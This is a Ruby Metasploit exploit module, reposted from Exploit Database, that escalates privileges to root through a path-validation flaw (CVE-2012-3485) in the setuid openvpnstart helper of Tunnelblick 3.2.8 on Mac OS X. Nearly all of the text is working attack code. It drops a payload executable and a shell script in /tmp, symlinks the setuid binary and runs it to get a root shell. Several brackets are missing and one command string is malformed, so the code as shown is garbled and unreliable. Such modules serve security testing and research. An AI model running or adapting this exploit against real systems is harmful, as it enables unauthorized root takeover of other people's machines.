Tunnelblick – Setuid Privilege Escalation (Metasploit)

Exploit Database
145 阅读

作者： Metasploit

日期： 2013-03-05
类别：
- local
平台：
- osx
来源：https://www.exploit-db.com/exploits/24578/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/file'

require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Exploit::EXE

include Msf::Post::File

include Msf::Post::Common

def initialize(info={})

super( update_info( info, {

'Name' => 'Setuid Tunnelblick Privilege Escalation',

'Description'=> %q{

This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The

vulnerability exists in the setuid openvpnstart, where an insufficient

validation of path names allows execution of arbitrary shell scripts as root.

This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099

over Mac OS X 10.7.5.

'References' =>

[

[ 'CVE', '2012-3485' ],

[ 'EDB', '20443' ],

[ 'URL', 'http://blog.zx2c4.com/791' ]

'License'=> MSF_LICENSE,

'Author' =>

[

'Jason A. Donenfeld', # Vulnerability discovery and original Exploit

'juan vazquez'# Metasploit module

'DisclosureDate' => 'Aug 11 2012',

'Platform' => 'osx',

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell' ],

'Targets'=>

[

[ 'Tunnelblick 3.2.8 / Mac OS X x86',{ 'Arch' => ARCH_X86 } ],

[ 'Tunnelblick 3.2.8 / Mac OS X x64',{ 'Arch' => ARCH_X64 } ]

'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },

'DefaultTarget' => 0

}))

register_options([

# These are not OptPath becuase it's a *remote* path

OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),

OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])

], self.class)

end

def check

if not file?(datastore["Tunnelblick"])

print_error "openvpnstart not found"

return CheckCode::Safe

end

check = session.shell_command_token("find#{datastore["Tunnelblick"]} -type f -user root -perm -4000")

if check =~ /openvpnstart/

return CheckCode::Vulnerable

end

return CheckCode::Safe

end

def clean

file_rm(@link)

cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")

end

def exploit

print_status("Creating directory...")

cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"

exe_name = rand_text_alpha(8)

@exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"

print_status("Dropping executable #{@exe_file}")

write_file(@exe_file, generate_payload_exe)

cmd_exec "chmod +x #{@exe_file}"

evil_sh =<<-EOF

#!/bin/sh

#{@exe_file}

EOF

@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"

print_status("Dropping shell script #{@sh_file}...")

write_file(@sh_file, evil_sh)

cmd_exec "chmod +x #{@sh_file}"

link_name = rand_text_alpha(8)

@link = "#{datastore["WritableDir"]}/#{link_name}"

print_status("Creating symlink #{@link}...")

cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"

print_status("Running...")

begin

cmd_exec "#{@link} OpenVPNInfo 0"

rescue

print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")

clean

return

end

print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")

end